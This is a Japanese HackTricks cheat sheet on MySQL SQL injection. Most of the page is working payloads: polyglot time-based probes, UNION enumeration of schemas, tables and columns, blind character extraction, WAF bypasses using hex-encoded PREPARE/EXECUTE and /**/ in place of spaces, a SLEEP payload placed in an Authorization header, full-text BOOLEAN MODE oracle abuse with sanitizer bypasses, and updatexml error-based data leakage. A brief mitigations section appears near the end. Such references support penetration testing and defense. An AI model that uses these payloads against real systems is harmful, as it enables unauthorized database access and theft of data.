MySQL injection

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

コメント

-- MYSQL Comment
# MYSQL Comment
/* MYSQL Comment */
/*! MYSQL Special SQL */
/*!32302 10*/ Comment for MySQL version 3.23.02

興味深い関数

Mysqlの確認:

concat('a','b')
database()
version()
user()
system_user()
@@version
@@datadir
rand()
floor(2.9)
length(1)
count(1)

便利な関数

SELECT hex(database())
SELECT conv(hex(database()),16,10) # Hexadecimal -> Decimal
SELECT DECODE(ENCODE('cleartext', 'PWD'), 'PWD')# Encode() & decpde() returns only numbers
SELECT uncompress(compress(database())) #Compress & uncompress() returns only numbers
SELECT replace(database(),"r","R")
SELECT substr(database(),1,1)='r'
SELECT substring(database(),1,1)=0x72
SELECT ascii(substring(database(),1,1))=114
SELECT database()=char(114,101,120,116,101,115,116,101,114)
SELECT group_concat(<COLUMN>) FROM <TABLE>
SELECT group_concat(if(strcmp(table_schema,database()),table_name,null))
SELECT group_concat(CASE(table_schema)When(database())Then(table_name)END)
strcmp(),mid(),,ldap(),rdap(),left(),rigth(),instr(),sleep()

すべての injection

SELECT * FROM some_table WHERE double_quotes = "IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/"

出典 https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/

流れ

最近の MySQL のバージョンでは “information_schema.tables” を “mysql.innodb_table_stats の代わりに使用できます(これは WAFs をバイパスするのに役立つ可能性があります)。

SELECT table_name FROM information_schema.tables WHERE table_schema=database();#Get name of the tables
SELECT column_name FROM information_schema.columns WHERE table_name="<TABLE_NAME>"; #Get name of the columns of the table
SELECT <COLUMN1>,<COLUMN2> FROM <TABLE_NAME>; #Get values
SELECT user FROM mysql.user WHERE file_priv='Y'; #Users with file privileges

1つだけの値

  • group_concat()
  • Limit X,1

Blind one by one

  • substr(version(),X,1)='r' or substring(version(),X,1)=0x70 or ascii(substr(version(),X,1))=112
  • mid(version(),X,1)='5'

Blind adding

  • LPAD(version(),1...lenght(version()),'1')='asd'...
  • RPAD(version(),1...lenght(version()),'1')='asd'...
  • SELECT RIGHT(version(),1...lenght(version()))='asd'...
  • SELECT LEFT(version(),1...lenght(version()))='asd'...
  • SELECT INSTR('foobarbar', 'fo...')=1

カラム数の検出

シンプルな ORDER を使用して

order by 1
order by 2
order by 3
...
order by XXX

UniOn SeLect 1
UniOn SeLect 1,2
UniOn SeLect 1,2,3
...

MySQL Union Based

UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,schema_name,0x7c)+fRoM+information_schema.schemata
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,table_name,0x7C)+fRoM+information_schema.tables+wHeRe+table_schema=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,column_name,0x7C)+fRoM+information_schema.columns+wHeRe+table_name=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...

SSRF

ここではさまざまなオプションを学べます abuse a Mysql injection to obtain a SSRF.

WAF バイパスのテクニック

Prepared Statements を使ったクエリの実行

stacked queries が許可されている場合、実行したいクエリの16進表現を変数に代入(SET を使用)し、PREPARE と EXECUTE MySQL ステートメントを使用して最終的にクエリを実行することで、WAF をバイパスできる可能性があります。次のようになります:

0); SET @query = 0x53454c45435420534c454550283129; PREPARE stmt FROM @query; EXECUTE stmt; #

詳細はこのブログ記事を参照してください。

Information_schema の代替案

「モダン」な MySQL では、information_schema.tablesmysql.innodb_table_statssys.x$schema_flattened_keys、または sys.schema_table_statistics の代わりに使うことができます。

MySQLinjection でカンマを使わない

カンマを使わずに2列を選択する方法 (https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma):

-1' union select * from (select 1)UT1 JOIN (SELECT table_name FROM mysql.innodb_table_stats)UT2 on 1=1#

列名が不明な場合の値の取得

テーブル名は分かっているが、そのテーブル内のカラム名が分からない場合、次のようなクエリを実行してカラム数を調べることができます:

# When a True is returned, you have found the number of columns
select (select "", "") = (SELECT * from demo limit 1);     # 2columns
select (select "", "", "") < (SELECT * from demo limit 1); # 3columns

2つの列があり(最初の列が ID で、もう一方が flag であると仮定すると)、flag の内容を1文字ずつ bruteforce して特定することができます:

# When True, you found the correct char and can start ruteforcing the next position
select (select 1, 'flaf') = (SELECT * from demo limit 1);

詳細は https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952

Injection without SPACES (/**/ comment trick)

一部のアプリケーションは、sscanf("%128s", buf) のような関数でユーザー入力をサニタイズまたは解析し、最初の空白文字で停止します。 MySQL は /**/ をコメントとしてだけでなく空白としても扱うため、クエリの構文を保ちながら payload 内の通常のスペースを完全に取り除くのに利用できます。

例: time-based blind injection による space filter のバイパス:

GET /api/fabric/device/status HTTP/1.1
Authorization: Bearer AAAAAA'/**/OR/**/SLEEP(5)--/**/-'

データベースが受け取るのは:

' OR SLEEP(5)-- -'

This is especially handy when:

  • 制御可能なバッファのサイズが制限されている場合(例: %128s)、スペースが入力を早期に終了させてしまうとき。
  • HTTP headers や、通常のスペースが削除されたり区切り文字として扱われる他のフィールドを通して Injecting する場合。
  • 完全な pre-auth RCE を達成するために INTO OUTFILE プリミティブと組み合わせる場合(MySQL File RCE セクション参照)。

MySQL history

テーブルを読むことで MySQL 内での他の実行を確認できます: sys.x$statement_analysis

バージョンの代替s

mysql> select @@innodb_version;
mysql> select @@version;
mysql> select version();

MySQL Full-Text Search (FTS) BOOLEAN MODE operator abuse (WOR)

これは古典的な SQL injection ではありません。開発者がユーザー入力を MATCH(col) AGAINST('...' IN BOOLEAN MODE) に渡すと、MySQL は引用文字列内で豊富なブール検索演算子を評価します。多くの WAF/SAST ルールは引用符の破断にのみ注目しており、この攻撃面を見落としがちです。

Key points:

  • Operators are evaluated inside the quotes: +(必ず含む), -(含めてはいけない), *(末尾ワイルドカード), "..."(完全一致フレーズ), ()(グルーピング), </>/~(重み付け)。詳細は MySQL docs を参照してください。
  • これにより、文字列リテラルを抜け出すことなく存在/不在やプレフィックスのテストが可能になります。例: AGAINST('+admin*' IN BOOLEAN MODE)admin で始まる任意の単語をチェックします。
  • 行が接頭辞 X を持つ単語を含むかどうかを問うオラクル(“does any row contain a term with prefix X?” のような)を構築したり、プレフィックス展開で隠れた文字列を列挙したりするのに有用です。

Example query built by the backend:

SELECT tid, firstpost
FROM threads
WHERE MATCH(subject) AGAINST('+jack*' IN BOOLEAN MODE);

アプリケーションが結果セットが空かどうかで異なるレスポンスを返す(例: リダイレクト vs. エラーメッセージ)場合、その挙動は Boolean oracle となり、非表示や削除されたタイトルなどの機密データを列挙するために利用できます。

Sanitizer バイパスパターン(一般):

  • Boundary-trim preserving wildcard: バックエンドが単語ごとに1–2文字の末尾を正規表現 (\b.{1,2})(\s)|(\b.{1,2}$) のようにトリミングする場合、prefix*ZZ を送ると、クリーン処理は ZZ を削るが * を残すため、prefix* が残ります。
  • Early-break stripping: コードが単語ごとにオペレーターを削るが、長さが min length 以上のトークンを見つけると処理を止める場合、2つのトークンを送ります。最初は長さ閾値を満たすジャンクトークン、2つ目がオペレーターペイロードを保持します。例えば: &&&&& +jack*ZZ → クリーン後: +&&&&& +jack*.

Payload template (URL-encoded):

keywords=%26%26%26%26%26+%2B{FUZZ}*xD
  • %26 is &, %2B is +. The trailing xD (or any two letters) is trimmed by the cleaner, preserving {FUZZ}*.
  • リダイレクトを “match” として扱い、エラーページを “no match” として扱う。オラクルを観測可能な状態に保つため、自動的にリダイレクトをフォローしないでください。

Enumeration workflow:

  1. {FUZZ} = a…z,0…9 から開始し、+a*+b* … のように first-letter の matches を見つける。
  2. 各 positive prefix に対して分岐する: a* → aa* / ab* / …。文字列全体が回復するまで繰り返す。
  3. アプリがフラッド制御を行っている場合は、リクエストを分散する(プロキシ、複数アカウント)。

Why titles often leak while contents don’t:

  • 一部のアプリはタイトル/サブジェクトに対する予備的な MATCH の後でのみ可視性チェックを適用する。フィルタリングの前に「結果があるか?」というフロー制御があると、存在に関する leak が発生する。

Mitigations:

  • Boolean ロジックが不要であれば、IN NATURAL LANGUAGE MODE を使うか、ユーザ入力をリテラルとして扱う(エスケープ/クオートは他モードでの演算子を無効化する)。
  • Boolean mode が必要な場合は、トークナイゼーション後に全トークンについて全ての Boolean 演算子(+ - * " ( ) < > ~)をストリップまたは無効化する(途中で抜けないこと)。
  • MATCH の前に可視性/認可フィルタを適用するか、結果セットが空か非空かで応答を統一する(一定のタイミング/ステータスにする)。
  • 他の DBMS における類似機能も確認する:PostgreSQL の to_tsquery/websearch_to_tsquery、SQL Server/Oracle/Db2 の CONTAINS も、quoted 引数内部の演算子をパースする。

Notes:

  • Prepared statements は REGEXP や検索演算子のセマンティックな悪用からは保護しない。.* のような入力は、quoted な REGEXP '.*' 内部でも寛容な正規表現のままである。許可リスト(allow-lists)や明示的なガードを使用する。

updatexml() を使ったエラーに基づく exfiltration

アプリケーションが SQL エラーのみ(生の結果セットを返さない)を返す場合、MySQL のエラー文字列を通じてデータを leak することができる:

dimension: id {
type: number
sql: updatexml(null, concat(0x7e, IFNULL((SELECT name FROM project_state LIMIT 1 OFFSET 0), 'NULL'), 0x7e, '///'), null) ;;
}

updatexml() は連結された文字列を埋め込む XPATH エラーを発生させるため、内部の SELECT の値が区切り記号(0x7e = ~)で囲まれてエラー応答に表示されます。LIMIT 1 OFFSET N を繰り返して行を列挙します。UI が “boolean” テストを強制する場合でも、エラーメッセージが表示されるため、これは機能します。

その他の MYSQL injection guides

参考資料

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする